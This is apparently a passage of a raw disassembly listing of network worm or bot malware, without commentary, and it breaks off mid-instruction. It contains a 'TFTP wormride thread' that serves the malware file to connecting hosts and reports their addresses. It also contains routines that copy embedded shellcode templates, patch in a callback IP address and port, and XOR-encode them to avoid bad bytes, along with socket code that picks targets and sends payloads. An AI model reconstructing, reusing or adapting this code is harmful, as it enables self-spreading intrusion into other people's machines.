loc_4123B8 mov [ebp+var_D84], 10h mov al, byte_41DF00 mov [ebp+var_D70], al mov ecx, 80h xor eax, eax lea edi, [ebp+var_D6F] rep stosd stosw stosb lea eax, [ebp+var_D84] push eax lea eax, [ebp+var_D80] push eax push 0 push 80h lea eax, [ebp+var_19C] push eax push [ebp+var_108] call dword_417258 ; recvfrom mov [ebp+var_B6C], eax cmp [ebp+var_B6C], 0 jz short loc_412084 cmp [ebp+var_B6C], 0FFFFFFFFh jnz short loc_412089 loc_412084: ; CODE XREF: sub_411DC5+2B4j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_411DC5+2BDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_4121C0 movsx eax, [ebp+var_19B] cmp eax, 1 jnz loc_4121C0 lea eax, [ebp+var_19C] mov [ebp+var_D88], eax lea eax, [ebp+var_19C] mov [ebp+var_D8C], eax mov eax, [ebp+var_D88] inc eax inc eax mov [ebp+var_D88], eax mov eax, [ebp+var_D8C] inc eax inc eax mov [ebp+var_D8C], eax push [ebp+var_D8C] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_D8C] lea eax, [ecx+eax+1] mov [ebp+var_D8C], eax push offset aOctet ; "octet" call sub_416B40 ; strlen pop ecx push eax push [ebp+var_D8C] push offset aOctet ; "octet" call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_41213F push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 13h push offset dword_41C76C push [ebp+var_108] call dword_417250 ; sendto jmp short loc_4121BB ; --------------------------------------------------------------------------- loc_41213F: ; CODE XREF: sub_411DC5+354j push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 and [ebp+var_D6E], 0 mov [ebp+var_D6D], 1 push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D90], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D90] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto loc_4121BB: ; CODE XREF: sub_411DC5+378j jmp loc_4123B8 ; --------------------------------------------------------------------------- loc_4121C0: ; CODE XREF: sub_411DC5+2CDj ; sub_411DC5+2DDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_412396 movsx eax, [ebp+var_19B] cmp eax, 4 jnz loc_412396 mov al, [ebp+var_19A] mov [ebp+var_DA0], al mov al, [ebp+var_199] mov [ebp+var_D98], al and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 movzx eax, [ebp+var_D98] cmp eax, 0FFh jnz short loc_412242 mov al, [ebp+var_DA0] add al, 1 mov [ebp+var_DA0], al mov al, [ebp+var_DA0] mov [ebp+var_D6E], al and [ebp+var_D98], 0 mov al, [ebp+var_D98] mov [ebp+var_D6D], al jmp short loc_412268 ; --------------------------------------------------------------------------- loc_412242: ; CODE XREF: sub_411DC5+44Cj mov al, [ebp+var_DA0] mov [ebp+var_D6E], al mov al, [ebp+var_D98] add al, 1 mov [ebp+var_D98], al mov al, [ebp+var_D98] mov [ebp+var_D6D], al loc_412268: ; CODE XREF: sub_411DC5+47Bj movzx eax, [ebp+var_DA0] shl eax, 8 movzx ecx, [ebp+var_D98] lea eax, [eax+ecx-1] mov [ebp+var_D9C], eax push 0 mov eax, [ebp+var_D9C] shl eax, 9 push eax push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D94], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D94] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto cmp [ebp+var_D94], 0 jnz loc_412394 mov eax, [ebp+var_D9C] shl eax, 9 cmp eax, [ebp+var_4] jb loc_412394 mov eax, [ebp+var_D7C] mov [ebp+var_DA8], eax push [ebp+var_DA8] push offset dword_41EBE0 call sub_409C9D pop ecx pop ecx mov [ebp+var_DA4], eax mov eax, [ebp+var_DA4] cmp eax, [ebp+var_DA8] jz short loc_412394 push 1 push offset dword_41EBE4 call sub_409C88 pop ecx pop ecx mov [ebp+var_DAC], eax push 10h push [ebp+var_D7C] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_11C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_11C] push eax mov eax, [ebp+var_DAC] inc eax push eax push offset aWormride ; "wormride" push offset unk_41C730 push offset dword_41DB88 call sub_40D4AB add esp, 14h loc_412394: ; CODE XREF: sub_411DC5+52Dj ; sub_411DC5+53Fj ... jmp short loc_4123B8 ; --------------------------------------------------------------------------- loc_412396: ; CODE XREF: sub_411DC5+404j ; sub_411DC5+414j push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 9 push offset dword_41C724 push [ebp+var_108] call dword_417250 ; sendto loc_4123B8: ; CODE XREF: sub_411DC5+252j ; sub_411DC5:loc_4121BBj ... mov eax, [ebp+var_358] cmp dword ptr [eax+4], 0 jz short loc_4123C6 jmp short loc_4123CB ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: sub_411DC5+5FDj jmp loc_411F66 ; --------------------------------------------------------------------------- loc_4123CB: ; CODE XREF: sub_411DC5+5FFj push [ebp+var_10C] call sub_416B82 ; fclose pop ecx push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax loc_4123F1: ; CODE XREF: sub_411DC5+53j ; sub_411DC5+F8j ... pop edi leave retn 4 sub_411DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p ; sub_40A9CF+742p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412410 jmp short locret_412446 ; --------------------------------------------------------------------------- loc_412410: ; CODE XREF: sub_4123F6+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411DC5 call sub_4095A4 add esp, 10h locret_412446: ; CODE XREF: sub_4123F6+18j leave retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412448 proc near ; CODE XREF: sub_4125DF+88p ; sub_4125DF+ADp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_41245A ; --------------------------------------------------------------------------- loc_412453: ; CODE XREF: sub_412448:loc_41249Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41245A: ; CODE XREF: sub_412448+9j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41249C and [ebp+var_8], 0 jmp short loc_41246F ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: sub_412448:loc_412498j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41246F: ; CODE XREF: sub_412448+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_C] jnb short loc_41249A mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_10] xor eax, ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_412498 push 1 pop eax jmp short locret_41249E ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_412448+49j jmp short loc_412468 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_412448+2Dj jmp short loc_412453 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_412448+18j xor eax, eax locret_41249E: ; CODE XREF: sub_412448+4Ej leave retn sub_412448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 cmp [ebp+arg_8], 1 jnz short loc_41250C cmp [ebp+arg_4], 0B2h jnb short loc_4124CC xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A0+23j mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C964 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 8Fh mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 88h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax jmp loc_41259C ; --------------------------------------------------------------------------- loc_41250C: ; CODE XREF: sub_4124A0+1Aj cmp [ebp+arg_8], 2 jnz short loc_412554 cmp [ebp+arg_4], 0C6h jnb short loc_412522 xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: sub_4124A0+79j mov [ebp+var_C], 0C6h push [ebp+var_C] push offset dword_41C89C push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 89h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0C0h mov [ebp+var_8], eax jmp short loc_41259C ; --------------------------------------------------------------------------- loc_412554: ; CODE XREF: sub_4124A0+70j cmp [ebp+arg_4], 0B2h jnb short loc_412561 xor eax, eax jmp short locret_4125DD ; --------------------------------------------------------------------------- loc_412561: ; CODE XREF: sub_4124A0+BBj mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C7E8 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 86h mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 8Dh mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax loc_41259C: ; CODE XREF: sub_4124A0+67j ; sub_4124A0+B2j cmp [ebp+var_4], 0 jz short loc_4125B0 push [ebp+arg_C] call dword_417244 ; inet_addr mov ecx, [ebp+var_4] mov [ecx], eax loc_4125B0: ; CODE XREF: sub_4124A0+100j cmp [ebp+var_10], 0 jz short loc_4125CC push [ebp+arg_10] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_10] mov [ecx], ax loc_4125CC: ; CODE XREF: sub_4124A0+114j cmp [ebp+var_8], 0 jz short loc_4125DA mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] mov [eax], ecx loc_4125DA: ; CODE XREF: sub_4124A0+130j mov eax, [ebp+var_C] locret_4125DD: ; CODE XREF: sub_4124A0+27j ; sub_4124A0+7Dj ... leave retn sub_4124A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125DF proc near ; CODE XREF: sub_410649+8Bp ; sub_410B52+41p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_4], 1Ch jnb short loc_4125F2 xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_4125F2: ; CODE XREF: sub_4125DF+Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 1Ch mov [ebp+var_4], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push 1E4h push [ebp+var_4] call sub_4124A0 add esp, 18h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41262D xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: sub_4125DF+45j push 1Ch push offset loc_41C7C8 push [ebp+var_10] call sub_416B52 ; memcpy add esp, 0Ch mov eax, dword_41CB98 mov [ebp+var_8], eax jmp short loc_412659 ; --------------------------------------------------------------------------- loc_412649: ; CODE XREF: sub_4125DF+94j ; sub_4125DF:loc_41269Aj call sub_410422 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword_41CB98, eax loc_412659: ; CODE XREF: sub_4125DF+68j push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_8] push eax call sub_412448 add esp, 14h test eax, eax jz short loc_412675 jmp short loc_412649 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_4125DF+92j mov eax, [ebp+var_14] xor eax, [ebp+var_8] mov [ebp+var_1C], eax push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_1C] push eax call sub_412448 add esp, 14h test eax, eax jnz short loc_41269A jmp short loc_41269C ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_4125DF+B7j jmp short loc_412649 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_4125DF+B9j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax+3], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] mov [eax+9], ecx mov al, byte_41CB95 mov byte ptr [ebp+var_C], al jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126B8: ; CODE XREF: sub_4125DF+104j call sub_410461 mov byte ptr [ebp+var_C], al mov al, byte ptr [ebp+var_C] mov byte_41CB95, al loc_4126C8: ; CODE XREF: sub_4125DF+D7j push [ebp+var_C] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_14] push [ebp+var_4] call sub_412448 add esp, 14h test eax, eax jz short loc_4126E5 jmp short loc_4126B8 ; --------------------------------------------------------------------------- loc_4126E5: ; CODE XREF: sub_4125DF+102j mov eax, [ebp+var_10] mov cl, byte ptr [ebp+var_C] mov [eax+12h], cl and [ebp+var_18], 0 jmp short loc_4126FB ; --------------------------------------------------------------------------- loc_4126F4: ; CODE XREF: sub_4125DF+137j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_4126FB: ; CODE XREF: sub_4125DF+113j mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jnb short loc_412718 mov eax, [ebp+var_4] add eax, [ebp+var_18] mov al, [eax] xor al, byte ptr [ebp+var_C] mov ecx, [ebp+var_4] add ecx, [ebp+var_18] mov [ecx], al jmp short loc_4126F4 ; --------------------------------------------------------------------------- loc_412718: ; CODE XREF: sub_4125DF+122j mov eax, [ebp+var_14] add eax, 1Ch locret_41271E: ; CODE XREF: sub_4125DF+Ej ; sub_4125DF+49j leave retn sub_4125DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412720 proc near ; CODE XREF: sub_412A3A+Cp ; sub_412BC9+DFp ... var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_194], eax and [ebp+var_190], 0 loc_412741: ; CODE XREF: sub_412720:loc_41278Aj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_190] mov [ebp+ecx+var_10], al mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax mov eax, [ebp+var_190] cmp eax, [ebp+var_194] jnz short loc_41278A push offset dword_418620 mov eax, [ebp+var_190] lea eax, [ebp+eax+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_41278C ; --------------------------------------------------------------------------- loc_41278A: ; CODE XREF: sub_412720+4Fj jmp short loc_412741 ; --------------------------------------------------------------------------- loc_41278C: ; CODE XREF: sub_412720+68j push 17Ch push offset dword_41CA18 lea eax, [ebp+var_18C] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 17Ch lea eax, [ebp+var_18C] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch leave retn sub_412720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp ; sub_412BC9+133p ... var_24C = byte ptr -24Ch var_22C = byte ptr -22Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch cmp dword_41EBEC, 0 jnz loc_4128A0 mov dword_41EBEC, 1 and [ebp+var_20C], 0 jmp short loc_412806 ; --------------------------------------------------------------------------- loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj mov eax, [ebp+var_20C] inc eax mov [ebp+var_20C], eax loc_412806: ; CODE XREF: sub_4127D0+27j mov eax, [ebp+var_20C] imul eax, 0Ch cmp off_41DB18[eax], 0 jz loc_4128A0 push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41DB18[eax] lea eax, [ebp+var_22C] push eax call sub_407A56 add esp, 0Ch push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41CBA0[eax] lea eax, [ebp+var_24C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_22C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_22C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_41289B mov dword_41EBF0, 1 jmp short loc_4128A0 ; --------------------------------------------------------------------------- loc_41289B: ; CODE XREF: sub_4127D0+BDj jmp loc_4127F9 ; --------------------------------------------------------------------------- loc_4128A0: ; CODE XREF: sub_4127D0+10j ; sub_4127D0+46j ... cmp dword_41EBF0, 0 jz short loc_4128AE push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128AE: ; CODE XREF: sub_4127D0+D7j push offset aRb ; "rb" push offset dword_41ED10 call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4128CC xor eax, eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128CC: ; CODE XREF: sub_4127D0+F6j and [ebp+var_4], 0 loc_4128D0: ; CODE XREF: sub_4127D0+145j push [ebp+var_8] push 200h push 1 lea eax, [ebp+var_208] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412900 push [ebp+var_8] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_412900: ; CODE XREF: sub_4127D0+120j push [ebp+var_4] lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch jmp short loc_4128D0 ; --------------------------------------------------------------------------- locret_412917: ; CODE XREF: sub_4127D0+DCj ; sub_4127D0+FAj ... leave retn sub_4127D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412919 proc near ; CODE XREF: sub_412BC9+E8p ; sub_412D56+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412938 xor eax, eax jmp short locret_41294C ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_412919+19j push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_417248 ; recv mov eax, [ebp+var_4] locret_41294C: ; CODE XREF: sub_412919+1Dj leave retn sub_412919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; CODE XREF: sub_412BC9+115p ; sub_412D56+3Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_412964: ; CODE XREF: sub_41294E+Dj mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CDAE[eax], 0 jz short loc_4129C5 mov eax, [ebp+var_8] imul eax, 3Ah mov eax, dword_41CDA6[eax] cmp eax, [ebp+arg_0] jnz short loc_4129C3 mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CD80 mov [ebp+var_4], eax push 3Ah mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CD80 push eax push [ebp+arg_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] call sub_4105FB pop ecx mov eax, [ebp+arg_4] add eax, 13h push eax call sub_4105FB pop ecx jmp short loc_4129C5 ; --------------------------------------------------------------------------- loc_4129C3: ; CODE XREF: sub_41294E+34j jmp short loc_41295D ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_41294E+23j ; sub_41294E+73j mov eax, [ebp+var_4] leave retn sub_41294E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp ; sub_412BC9+15Ap ... var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 104h push 1 mov eax, [ebp+arg_0] add eax, 2Ah push eax call sub_409C88 pop ecx pop ecx mov [ebp+var_104], eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_412A11 push offset aUnknown ; "unknown" lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412A11: ; CODE XREF: sub_4129CA+32j lea eax, [ebp+var_100] push eax mov eax, [ebp+var_104] inc eax push eax push [ebp+arg_C] push [ebp+arg_4] push offset dword_41A1D0 push offset dword_41DB88 call sub_40D4AB add esp, 18h leave retn sub_4129CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3A proc near ; CODE XREF: sub_41331E+148p var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_235 = byte ptr -235h var_222 = dword ptr -222h var_20C = dword ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push [ebp+arg_4] call sub_412720 pop ecx push 3Ah push [ebp+arg_0] lea eax, [ebp+var_248] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_248] push eax call sub_4105FB pop ecx lea eax, [ebp+var_235] push eax call sub_4105FB pop ecx lea eax, [ebp+var_20C+3] mov [ebp+var_8], eax push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch and [ebp+var_4], 0 jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A9F: ; CODE XREF: sub_412A3A+8Aj ; sub_412A3A:loc_412B7Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412AA6: ; CODE XREF: sub_412A3A+63j cmp [ebp+var_4], 3Ch jnz short loc_412AB1 jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_412A3A+70j push 3E8h push [ebp+arg_4] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412AC6 jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412AC6: ; CODE XREF: sub_412A3A+88j push 200h push [ebp+var_8] push [ebp+arg_4] call sub_4053DC add esp, 0Ch mov [ebp+var_24C], eax cmp [ebp+var_24C], 0FFFFFFFFh jnz short loc_412AED jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_412A3A+ACj cmp [ebp+var_24C], 0 jz short loc_412B69 and [ebp+var_250], 0 jmp short loc_412B0C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j mov eax, [ebp+var_250] inc eax mov [ebp+var_250], eax loc_412B0C: ; CODE XREF: sub_412A3A+C3j mov eax, [ebp+var_250] cmp eax, [ebp+var_24C] jnb short loc_412B36 mov eax, [ebp+var_250] mov eax, [ebp+eax+var_20C] cmp eax, [ebp+var_222] jnz short loc_412B34 jmp loc_412BC5 ; --------------------------------------------------------------------------- loc_412B34: ; CODE XREF: sub_412A3A+F3j jmp short loc_412AFF ; --------------------------------------------------------------------------- loc_412B36: ; CODE XREF: sub_412A3A+DEj push 3 mov eax, [ebp+var_24C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3] push eax lea eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch push 200h push 0 push [ebp+var_8] call sub_416B6A ; memset add esp, 0Ch jmp short loc_412B7F ; --------------------------------------------------------------------------- loc_412B69: ; CODE XREF: sub_412A3A+BAj push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch loc_412B7F: ; CODE XREF: sub_412A3A+12Dj jmp loc_412A9F ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j push [ebp+arg_4] call sub_4127D0 pop ecx test eax, eax jnz short loc_412B93 jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412B93: ; CODE XREF: sub_412A3A+155j push offset dword_41CD14 push [ebp+arg_4] lea eax, [ebp+var_248] push eax push [ebp+arg_0] call sub_4129CA add esp, 10h push 1 push [ebp+arg_4] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412BC5: ; CODE XREF: sub_412A3A+F5j jmp short loc_412B84 ; --------------------------------------------------------------------------- locret_412BC7: ; CODE XREF: sub_412A3A+72j ; sub_412A3A+AEj ... leave retn sub_412A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BC9 proc near ; CODE XREF: sub_41331E+165p var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = byte ptr -84Ch var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 85Ch push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_404FE7 add esp, 0Ch mov [ebp+var_8], eax mov [ebp+var_854], 3Ch and [ebp+var_850], 0 and [ebp+var_810], 0 loc_412BFD: ; CODE XREF: sub_412BC9+A9j and [ebp+var_85C], 0 jmp short loc_412C13 ; --------------------------------------------------------------------------- loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j mov eax, [ebp+var_85C] inc eax mov [ebp+var_85C], eax loc_412C13: ; CODE XREF: sub_412BC9+3Bj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnb short loc_412C37 mov eax, [ebp+var_85C] mov eax, [ebp+eax*4+var_80C] cmp eax, [ebp+var_8] jnz short loc_412C35 jmp short loc_412C37 ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412BC9+68j jmp short loc_412C06 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BC9+56j ; sub_412BC9+6Aj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnz short loc_412C6E cmp [ebp+var_810], 200h jnb short loc_412C6E mov eax, [ebp+var_85C] mov ecx, [ebp+var_8] mov [ebp+eax*4+var_80C], ecx mov eax, [ebp+var_810] inc eax mov [ebp+var_810], eax loc_412C6E: ; CODE XREF: sub_412BC9+7Aj ; sub_412BC9+86j xor eax, eax test eax, eax jnz short loc_412BFD lea eax, [ebp+var_854] push eax push 0 lea eax, [ebp+var_810] push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_412CA5 push [ebp+var_8] call sub_4053B1 pop ecx jmp locret_412D4A ; --------------------------------------------------------------------------- loc_412CA5: ; CODE XREF: sub_412BC9+CCj push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_858], eax cmp [ebp+var_858], 0 jnz short loc_412CD1 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CD1: ; CODE XREF: sub_412BC9+FBj lea eax, [ebp+var_84C] push eax push [ebp+var_858] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412CF9 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CF9: ; CODE XREF: sub_412BC9+123j push 